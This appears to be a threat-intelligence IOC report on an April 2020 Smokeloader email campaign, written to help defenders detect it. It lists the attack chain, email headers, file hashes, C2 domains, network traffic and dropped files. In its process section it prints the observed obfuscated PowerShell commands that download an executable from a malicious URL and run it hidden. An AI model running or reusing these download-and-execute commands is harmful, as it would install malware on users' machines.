#smokeloader_070420

#IOC #OptiData #VR #smokeloader #LZH #WSH #vmdetect

https://pastebin.com/EagNZxKf

previous_contact:
https://pastebin.com/QpG70u8T
https://pastebin.com/BJzcXqkK
https://pastebin.com/kBW7nkZ5
https://pastebin.com/Z7zq0YkW
https://pastebin.com/b8PkhMyN
https://pastebin.com/hkskwKvc
https://pastebin.com/JmthzrL4
https://pastebin.com/1scwT0f8
https://pastebin.com/MP3kCSSh

FAQ:
https://radetskiy.wordpress.com/2018/10/19/ioc_smokeloader_111018/
https://research.checkpoint.com/2019-resurgence-of-smokeloader/

attack_vector
--------------
email attach .RAR (LHa/LZH) > JS > WSH > PowerShell > GET 1URL > exe

email_headers
--------------
Received: from hosting.wildpark.net (hosting.wildpark.net [217.77.208.228])
Received: from [127.0.0.1] (unknown [148.251.234.93])
	by hosting.wildpark.net (Postfix) with ESMTPA id 7C920200037A
Reply-To: [email protected]
From: [email protected]
Subject: Re: Задержка по оплате
Message-Id: <[email protected]>
Date: Tue, 7 Apr 2020 05:10:22 +0300
X-Mailer: iPhone Mail (13E238)
X-FEAS-CLIENT-IP: 217.77.208.228
Return-Path: [email protected]

files
--------------
SHA-256		9ace214924c5edd5a0f2b81a6798a264d92f79f0b30479b821ba3af9a24a422e
File name	План від 05.04.2020р.rar	[ LHa (2.x)/LHark archive data [lh7] - header level 0 ]
File size	6.69 KB (6852 bytes)

SHA-256		cf99abc48e39374b48d9729f7efdf4d3aeaf93ce9011708c8cf6a2f939b99854
File name	pax_05.04.2020à..js		[ JavaScript ]
File size	19.80 KB (20278 bytes)

SHA-256		4a77f5a9c0c331f53178518cab3e24b4bdb2c230c50ac16d5d917f73ebe8e51b
File name	poppy.exe			[PE32 executable for MS Windows (GUI) Intel 80386 32-bit]
File size	147.00 KB (150528 bytes)

SHA-256		8d16d5caad71aaaaa1479f8477d2928b66581c79932a49a21edf93db2803ab9c
File name	9419.tmp (ntdll.dll)		[clean, droped to %temp%,  Microsoft Visual C++ vx.x DLL ]
File size	1.23 MB (1292192 bytes)

activity
**************
PL_SCR		http://scproducts7.ru/availableupdatemanager/poppy.exe

C2		amfibiyapolyakova{.} com - thnx for @JAMESWT_MHT
		amfibiyapolyakova{.} com - sinkholed (CyS Centrum)
		siciliyaopartion{.} ru	 - sinkholed (CyS Centrum)
		opetileon{.} ru		 - sinkholed (CyS Centrum)
		crocopexpire{.} ug	 - sinkholed (CyS Centrum)
		yamaha{.} ug		 - sinkholed (CyS Centrum)
		informatioshopname{.} ru - thnx for CyS Centrum

netwrk
--------------
[http]
8.208.91.58	scproducts7.ru		GET /availableupdatemanager/poppy.exe HTTP/1.1 	Google Chrome
(!)		!This program cannot be run in DOS mode.
185.14.31.88	amfibiyapolyakova.com	POST / HTTP/1.1  (application/x-www-form-urlencoded)	Mozilla/5.0

[ssl]
204.79.197.200		www.bing.com	Client Hello

comp
--------------
powershell.exe	8.208.91.58	scproducts7.ru
explorer.exe	185.14.31.88	amfibiyapolyakova.com

proc
--------------
C:\Windows\System32\WScript.exe" "C:\Users\operator\Desktop\pax_05.04.2020à..js

C:\Windows\System32\cmd.exe" /c iwbDyExnfhFHuWV & Po^wEr^sh^elL.e^Xe -executionpolicy bypass -noprofile -w hidden $v1='Net.W'; $v2='ebClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://scproducts7.ru/availableupdatemanager/poppy.exe','%temp%WHk58.exe'); & %temp%WHk58.exe & CXorbhFlHAGsKcP

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowErshelL.eXe  -executionpolicy bypass -noprofile -w hidden $v1='Net.W'; $v2='ebClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://scproducts7.ru/availableupdatemanager/poppy.exe','C:\tmpWHk58.exe');

C:\tmpWHk58.exe

persist
--------------
n/a

drop
--------------
C:\tmpWHk58.exe
%temp%\9419.tmp
%temp%\se3mut05.g01.ps1
%temp%\nsfka0oj.3qd.psm1
C:\Users\operator\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

# # #
https://www.virustotal.com/gui/file/9ace214924c5edd5a0f2b81a6798a264d92f79f0b30479b821ba3af9a24a422e/details
https://www.virustotal.com/gui/file/cf99abc48e39374b48d9729f7efdf4d3aeaf93ce9011708c8cf6a2f939b99854/details
https://www.virustotal.com/gui/file/4a77f5a9c0c331f53178518cab3e24b4bdb2c230c50ac16d5d917f73ebe8e51b/details
https://analyze.intezer.com/#/analyses/2ad8aa89-9449-4ea1-80d3-e2513c1ff7f6

VR

@